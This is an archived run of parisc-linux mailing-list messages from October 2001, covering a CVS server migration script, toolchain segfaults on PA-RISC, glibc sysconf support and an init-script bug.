NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="VbJkn9YxBvnuCH5J"
X-Trace: ger.gmane.org 1416620677 28828 80.91.229.3 (22 Nov 2014 01:44:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 24 12:14:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E910482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Oct 2001 12:14:58 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 15wSYH-0000I7-00
	for parisc-linux@lists.parisc-linux.org; Wed, 24 Oct 2001 20:14:53 +0200
Original-Received: (qmail 15018 invoked from network); 24 Oct 2001 18:14:51 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 24 Oct 2001 18:14:51 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15wSXo-0004Bk-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Oct 2001 20:14:24 +0200
Content-Disposition: inline
In-Reply-To: <20011024163506.A2752@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.22i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15wSYH-0000I7-00*FIATyqDPT26* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12808

--VbJkn9YxBvnuCH5J
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

On Wed, 24 Oct 2001, Matthew Wilcox wrote:

> On Wed, Oct 24, 2001 at 10:26:14AM -0500, Neulinger, Nathan wrote:
> > Will there be any new CD images any time soon? i.e. with current kernel,
> > packages, etc?=20
>=20
> Yes, we're planning an 0.9.3 release within the next couple of weeks.

Any chance of the 720/50 being fixed by then? :-) Has anything changed
significantly that would warrant me to attempt an installation again?
Have the 3.0.15 boot-floppies for hppa been created yet? Anything fixed
in the kernel?

I'm avaiable to fiddle with it this weekend if that helps.

Regards,

Albert

--VbJkn9YxBvnuCH5J
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE71wT/Dg+hOeRZtkMRAmMBAJ9T2yXX+ICPX6xMjx/PKQLMMQH59wCfQG0J
5g63MZ8mVdgv/UfPIF+VZ90=
=MyY6
-----END PGP SIGNATURE-----

--VbJkn9YxBvnuCH5J--




From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@fc.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IMPORTANT CVS CHANGES
Date: Wed, 24 Oct 2001 16:45:39 -0600
Lines: 75
Approved: news@gmane.org
Message-ID: <m15wWmJ-000OzWC@bame.riverrock.org>
Reply-To: bame@fc.hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620677 28831 80.91.229.3 (22 Nov 2014 01:44:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:37 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 24 16:45:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE950482B
	for <parisc-linux@parisc-linux.org>; Wed, 24 Oct 2001 16:45:40 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA01851
	for <parisc-linux@parisc-linux.org>; Wed, 24 Oct 2001 16:45:39 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15wWmJ-000OzWC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Wed, 24 Oct 2001 16:45:39 -0600 (MDT) 
Errors-To: bame@fc.hp.com
Original-Sender: bame@riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:12809

It's time to move CVS from puffin.external.hp.com to cvs.parisc-linux.org

WHEN: Friday, 26-October, noon local time (US-MDT aka GMT-6)

At noon puffin.external's CVS will go down and shortly thereafter
CVS will come up on cvs.parisc-linux.org along with an e-mail
announcement.  Send questions to the list, or if that's too embarassing
to me or taggart@fc.hp.com

		WHAT YOU MUST DO

1) You will not need to commit outstanding changes or do anything else
   unusual prior to the switchover.

2) You're probably setting CVSROOT somewhere, perhaps in your
   .profile.  Change puffin.external.hp.com to cvs.parisc-linux.org and
   /home/cvs/parisc to /var/cvs

3) Every file named CVS/Root will need the same changes as #2.
   Use the script 'move-cvs' to do this for you -- simply run it
   in your top-level CVS directories, or the one above that perhaps.
   'move-cvs' is attached to the end of this message and is available
   from CVS on puffin.external as build-tools/move-cvs.

4) Wherever you used puffin.external in a CVS-related way, start using
   cvs.parisc-linux.org instead, for example you might have web bookmarks
   for browsing the CVS archive.

5) Don't count on LXR being available any time soon...

   	-Paul Bame


---------- move-cvs script starts next line
#!/bin/sh

find . -type d -name CVS -print |
    while read dir
    do
	[ -s $dir/Root ] || continue
	root=$(<$dir/Root)
	case $root in
	    :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc)
	    	newroot=:pserver:anonymous@cvs.parisc-linux.org:/var/cvs;;
	    :ext:*@puffin.external.hp.com:/home/cvs/parisc)
		user=${root#:ext:}
		user=${user%@puffin.external.hp.com:/home/cvs/parisc}
		newroot=:ext:$user@cvs.parisc-linux.org:/var/cvs;;
	    puffin.external.hp.com:/home/cvs/parisc)
	        newroot=cvs.parisc-linux.org:/var/cvs;;
	    /home/parisc/cvs)
	    	newroot=cvs.parisc-linux.org:/var/cvs;;
	    :pserver:anonymous@pehc:/home/cvs/parisc)
	    	newroot=:pserver:anonymous@cvs.parisc-linux.org:/var/cvs;;
	    :ext:*@pehc:/home/cvs/parisc)
	        newroot=cvs.parisc-linux.org:/var/cvs
		user=${root#:ext:}
		user=${user%@pehc:/home/cvs/parisc}
		newroot=:ext:$user@cvs.parisc-linux.org:/var/cvs;;
	    pehc:/home/cvs/parisc)
	        newroot=cvs.parisc-linux.org:/var/cvs;;
	    /home/parisc/cvs)
	    	newroot=cvs.parisc-linux.org:/var/cvs;;
	    *) echo -e "\nCannot fix $dir/Root ($root)" >&2
	    	continue;;
	esac

	cp $dir/Root $dir/Root.pehc
	echo $newroot > $dir/Root
	echo -e ".\c"
    done
echo




From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Collins <bcollins@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Wed, 24 Oct 2001 19:51:02 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20011024195102.W10952@visi.net>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011020095406.L10952@visi.net> <20011021000443.H1037@bubble.sa.bigpond.net.au> <20011020110123.M10952@visi.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620677 28835 80.91.229.3 (22 Nov 2014 01:44:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 24 17:51:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blimpo.internal.net (ppp01.ts1-1.NewportNews.visi.net [209.8.196.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F6FC482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Oct 2001 17:51:07 -0600 (MDT)
Original-Received: from bmc by blimpo.internal.net with local (Exim 3.32 #1 (Debian))
	id 15wXna-0005xd-00; Wed, 24 Oct 2001 19:51:02 -0400
Content-Disposition: inline
In-Reply-To: <20011020110123.M10952@visi.net>
User-Agent: Mutt/1.3.22i
Original-Sender: Ben Collins <bmc@visi.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12810

Ok. Seems there are some other issues still. I'm using the .10-1
binutils, and the latest patches for glibc. At first I thought the
testsuite was running through perfectly, until I realized that it was
because most of the tests weren't being run. The configure script thinks
it is cross-compiling, because it can't even run a simple test program.

Not to mention I am getting random segv's in the rest of the toolchain.
I went back to a UP kernel suspecting it to be the cause. Now I'm
getting a segv during the package builds due to a segv in the strip
program (that may be a binutils bug).

So, back to square one. I don't have time tonight to start looking at
this, so I'll start on it tomorrow.

BTW, most of the iconv/locales tests fail in glibc on parisc.

Ben

-- 
 .----------=======-=-======-=========-----------=====------------=-=-----.
/                   Ben Collins    --    Debian GNU/Linux                  \
`  bcollins@debian.org  --  bcollins@openldap.org  --  bcollins@linux.com  '
 `---=========------=======-------------=-=-----=-===-======-------=--=---'




From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Wed, 24 Oct 2001 17:56:43 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20011024175642.X537@tausq.org>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011020095406.L10952@visi.net> <20011021000443.H1037@bubble.sa.bigpond.net.au> <20011020110123.M10952@visi.net> <20011024195102.W10952@visi.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620678 28839 80.91.229.3 (22 Nov 2014 01:44:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ben Collins <bcollins@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 24 18:56:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47DEA482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Oct 2001 18:56:55 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id lpogiaaa for parisc-linux@lists.parisc-linux.org; Wed, 24 Oct 2001 17:52:15 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15wYp9-0007Nf-00; Wed, 24 Oct 2001 17:56:43 -0700
Content-Disposition: inline
In-Reply-To: <20011024195102.W10952@visi.net>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: Randolph Chung <randolph@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12811

Ben,

> Not to mention I am getting random segv's in the rest of the toolchain.
> I went back to a UP kernel suspecting it to be the cause. Now I'm
> getting a segv during the package builds due to a segv in the strip
> program (that may be a binutils bug).
> 
> So, back to square one. I don't have time tonight to start looking at
> this, so I'll start on it tomorrow.
> 
> BTW, most of the iconv/locales tests fail in glibc on parisc.

do you have a build log? if so can you put it on, say, auric?

also please show dpkg -s output for binutils and gcc-3.0

we seem to be getting some random segvs on A500's. James sees them a lot
on the hppa buildd (sarti). I have a feeling the toolchain might not be
at fault in this case.

if you'd like please post the source and I can try to build it here. i'm
building 2.2.4-3 with the newest tool bits at the moment. basic things
seem to be ok, but it'll take an hour or more for it to finish.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/




From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Collins <bcollins@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Wed, 24 Oct 2001 21:12:06 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <20011024211206.Y10952@visi.net>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011020095406.L10952@visi.net> <20011021000443.H1037@bubble.sa.bigpond.net.au> <20011020110123.M10952@visi.net> <20011024195102.W10952@visi.net> <20011024175642.X537@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620678 28841 80.91.229.3 (22 Nov 2014 01:44:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 24 19:12:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blimpo.internal.net (ppp01.ts1-1.NewportNews.visi.net [209.8.196.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6141482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Oct 2001 19:12:49 -0600 (MDT)
Original-Received: from bmc by blimpo.internal.net with local (Exim 3.32 #1 (Debian))
	id 15wZ42-000655-00; Wed, 24 Oct 2001 21:12:06 -0400
Content-Disposition: inline
In-Reply-To: <20011024175642.X537@tausq.org>
User-Agent: Mutt/1.3.22i
Original-Sender: Ben Collins <bmc@visi.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12812

On Wed, Oct 24, 2001 at 05:56:43PM -0700, Randolph Chung wrote:
> Ben,
> 
> > Not to mention I am getting random segv's in the rest of the toolchain.
> > I went back to a UP kernel suspecting it to be the cause. Now I'm
> > getting a segv during the package builds due to a segv in the strip
> > program (that may be a binutils bug).
> > 
> > So, back to square one. I don't have time tonight to start looking at
> > this, so I'll start on it tomorrow.
> > 
> > BTW, most of the iconv/locales tests fail in glibc on parisc.
> 
> do you have a build log? if so can you put it on, say, auric?

The build finished without error, so it's of little use. The test suite
output is just a lot og Error 139's, so it too isn't much help.

> also please show dpkg -s output for binutils and gcc-3.0

binutils 2.11.92.0.10-1
gcc-3.0 3.0.2-0pre010922

I'm going to upgrade and try again.

> we seem to be getting some random segvs on A500's. James sees them a lot
> on the hppa buildd (sarti). I have a feeling the toolchain might not be
> at fault in this case.

Agreed. In fact, the machine locked up twice while doing a "debian/rules
clean", which is obviously not a toolchain problem :)

> if you'd like please post the source and I can try to build it here. i'm
> building 2.2.4-3 with the newest tool bits at the moment. basic things
> seem to be ok, but it'll take an hour or more for it to finish.

Will be uploading it later tonight. I have 5 other archs done, so I am
going to upload all of that.

-- 
 .----------=======-=-======-=========-----------=====------------=-=-----.
/                   Ben Collins    --    Debian GNU/Linux                  \
`  bcollins@debian.org  --  bcollins@openldap.org  --  bcollins@linux.com  '
 `---=========------=======-------------=-=-----=-===-======-------=--=---'




From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RfC: hpux-like sysconf variables in glibc, cpu affinity
Date: Wed, 24 Oct 2001 18:36:12 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20011024183612.Y537@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620678 28846 80.91.229.3 (22 Nov 2014 01:44:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 24 19:36:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE09B482B
	for <parisc-linux@parisc-linux.org>; Wed, 24 Oct 2001 19:36:24 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id wapgiaaa for parisc-linux@parisc-linux.org; Wed, 24 Oct 2001 18:31:44 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15wZRM-0007RB-00; Wed, 24 Oct 2001 18:36:12 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12813

While helping to port the hpux PI performance monitoring stuff to Linux, I
came across several sysconf calls that appear to be supported by hpux
but not under Linux. Would like to get your opinions on how best to
support these:

variable:		sample output
===================================================================
_SC_CPU_VERSION		CPU_PA_RISC2_0
_SC_CPU_CHIP_TYPE	bitfield describing cpu type and rev
_SC_PSET_SUPPORT	1/0, see more below

there's also a call to confstr(_CS_MACHINE_MODEL) which is also not
supported by glibc.

>From what I can tell glibc implements the sysconf interface according to
what's in POSIX. I suppose some/all of these may not be posix.
So, what should we do to provide similar functionality? 

Option 1: implement these in glibc/syscalls... dunno what the glibc team
thinks

Option 2: provide a PI device-specific ioctl to get the info it needs
from the kernel

#1 seems like a better solution to me, what do you guys think?


The other part that is missing is the ability to bind a process to a
particular CPU in a SMP system (i.e. makes sure a process starts on CPU
n and stays on it). I did some digging into this and found that this is
basically not supported by Linux's SMP system. There were some pset
patches for 2.2.x and 2.3.x, but nothing that I could find for 2.4.x

Wonder if this is something that we can do, or if it's more of a
(potential) 2.5.x thing....

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kenneth Westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] very odd problem
Date: Thu, 25 Oct 2001 08:07:26 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <F128WXpA1DHstgNogS400011dde@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416620679 28847 80.91.229.3 (22 Nov 2014 01:44:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 02:07:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (f128.law4.hotmail.com [216.33.149.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1B37482B
	for <parisc-linux@parisc-linux.org>; Thu, 25 Oct 2001 02:07:27 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 25 Oct 2001 01:07:26 -0700
Original-Received: from 194.7.222.142 by lw4fd.law4.hotmail.msn.com with HTTP;
	Thu, 25 Oct 2001 08:07:26 GMT
X-Originating-IP: [194.7.222.142]
X-OriginalArrivalTime: 25 Oct 2001 08:07:26.0829 (UTC) FILETIME=[15C571D0:01C15D2C]
Xref: news.gmane.org gmane.linux.ports.parisc:12814

Hi all,


I've recently installed the test-release of woody on my 712/60. I've also 
compiled a recent kernel available from the parisc-linux site. All works 
well, except from a very strange problem. The start-stop-daemon call, which 
is used throughout the init scripts, doesn't seem to work. So, executing the 
inetd script results in nothing, not even an error. Starting inetd on the 
command line (/usr/sbin/inetd) works great. Is there a known bug in the 
start-stop-daemon program? Can this be solved, or will I have to rewrite my 
init scripts?

Many thanks in advance.


regards,

Kenneth

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp





From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new cd-images any time soon?
Date: Thu, 25 Oct 2001 06:19:44 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <01102506194400.09585@Wolf-01>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D94C@umr-mail03.cc.umr.edu> <20011024163506.A2752@parcelfarce.linux.theplanet.co.uk> <20011024201423.A16100@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620679 28859 80.91.229.3 (22 Nov 2014 01:44:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:39 +0000 (UTC)
To: Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 05:22:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A886482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 05:22:09 -0600 (MDT)
Original-Received: from Wolf-01 (ppp137.cc1.pflash.com [63.121.24.139]) by vopserver.pflashcom
 (Vircom SMTPRS 5.0.194) with SMTP id <B0007589763@vopserver.pflashcom>;
 Thu, 25 Oct 2001 06:27:12 -0500
X-Mailer: KMail [version 1.2]
In-Reply-To: <20011024201423.A16100@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12815

On Wednesday 24 October 2001 01:14 pm, Albert Strasheim wrote:
> - - snip - -
> Any chance of the 720/50 being fixed by then? :-) 

Albert & group,

I have not given up on the "loop on LDCW" problem you have found, but...

It is not likely that I will have the changes ready in time for the next iso.

I do have the LDCW target word being put into .o files with proper alignment, 
with or without initialization.
I DO NOT have the change cleanly intigrated into the source.

Mike




From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] very odd problem
Date: Thu, 25 Oct 2001 13:55:48 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20011025135548.C17203@dogbert.localdomain>
References: <F128WXpA1DHstgNogS400011dde@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="3V7upXqbjpZ4EhLz"
X-Trace: ger.gmane.org 1416620679 28862 80.91.229.3 (22 Nov 2014 01:44:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kenneth Westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 05:56:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59409482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 05:56:22 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 15wj7R-0005EC-00
	for parisc-linux@lists.parisc-linux.org; Thu, 25 Oct 2001 13:56:17 +0200
Original-Received: (qmail 16663 invoked from network); 25 Oct 2001 11:56:14 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 25 Oct 2001 11:56:14 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15wj6y-0004Tk-00; Thu, 25 Oct 2001 13:55:48 +0200
Content-Disposition: inline
In-Reply-To: <F128WXpA1DHstgNogS400011dde@hotmail.com>
User-Agent: Mutt/1.3.22i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15wj7R-0005EC-00*g1YSZ47mdHM* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12816

--3V7upXqbjpZ4EhLz
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

I had this same problem on i386 -- I think it's a dependancy bug that
gets exposed during installation (ppp depending on libpcap, I think),
which causes some setup scripts to fail during installation.

Look for a start-stop-daemon.REAL file and copy it over your
start-stop-daemon. I think that should solve the problem. Or I'm utterly
confused... which is probably more likely. :-)

Regards,

Albert

On Thu, 25 Oct 2001, Kenneth Westelinck wrote:

> Hi all,
>=20
>=20
> I've recently installed the test-release of woody on my 712/60. I've also=
=20
> compiled a recent kernel available from the parisc-linux site. All works=
=20
> well, except from a very strange problem. The start-stop-daemon call, whi=
ch=20
> is used throughout the init scripts, doesn't seem to work. So, executing =
the=20
>=20
> inetd script results in nothing, not even an error. Starting inetd on the=
=20
> command line (/usr/sbin/inetd) works great. Is there a known bug in the=
=20
> start-stop-daemon program? Can this be solved, or will I have to rewrite =
my=20
> init scripts?
>=20
> Many thanks in advance.
>=20
>=20
> regards,
>=20
> Kenneth

--3V7upXqbjpZ4EhLz
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE71/3EDg+hOeRZtkMRArmNAJ0e7I9xSEinnOMa8oTvnPgEEEaZ+ACcD6gd
x4eYqs1y6BRFugn0oD//H10=
=7YGE
-----END PGP SIGNATURE-----

--3V7upXqbjpZ4EhLz--




From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] re: new cd-images any time soon?
Date: Thu, 25 Oct 2001 07:25:10 -0600 (MDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <200110251325.HAA21981@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620679 28863 80.91.229.3 (22 Nov 2014 01:44:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 07:25:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53BD3482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 07:25:11 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP id 4B3271F62A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 09:22:43 -0400 (EDT)
Original-Received: (from jsm@localhost)
